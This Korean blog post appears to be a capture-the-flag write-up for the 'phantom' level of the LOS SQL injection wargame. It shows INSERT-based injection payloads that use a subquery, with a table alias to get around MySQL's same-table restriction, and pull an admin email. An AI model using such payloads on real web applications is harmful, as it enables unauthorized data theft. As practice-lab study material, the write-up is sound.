본문 바로가기
워게임/LOS

phantom(서브쿼리)

by meanjung 2021. 10. 9.

$_SERVER["REMOTE_ADDR"] : 웹서버에 접속한 접속자의 IP 정보를 갖고있다. 

 

no=1 즉 127.0.0.1의 email을 알아내라


롸업을 보기는 했지만 어려운 문제는 아니었다. 다만 여태 푼 문제 중 이렇게 푼 문제가 없어서 생각해내지 못했다.

그래도 알아가면 됐지!

 

?pw=qw', (0, '내 ip', (select email from prob_phantom from no=1))%23

이렇게 하면 될 것 같지만 되지 않는다.


[****]

서브쿼리를 줄 때 자신의 테이블에서 참조가 안된다.

더 자세히 말하면, insert/ update/ delete에서 서브쿼리로 동일한 테이블의 조건을 사용할 때 에러가 발생한다.

insert into attack values (11, 'du', 'du', 234, 'du','du', 'du'), (12, (select program from attack where attackId=1),'aa',234,'aa','aa','aa');

"You can't specity target table 'attack' from update in FROM clause"


이를 해결하는 방법이 바로 as (임의의 테이블명) 을 사용하는 것이다.

 

?pw=qw', (0, '내 ip', (select email from prob_phantom as prob from no=1))%23

'워게임 > LOS' 카테고리의 다른 글

zombie(quine대신 quine하기)  (0) 2021.10.10
ouroboros(quine sql injection)  (0) 2021.10.09
frankenstein(error based sqli)  (0) 2021.10.09
blue_dragon(time based sql injection)  (0) 2021.10.09
red_dragon(개행, 이분탐색)  (0) 2021.10.06

댓글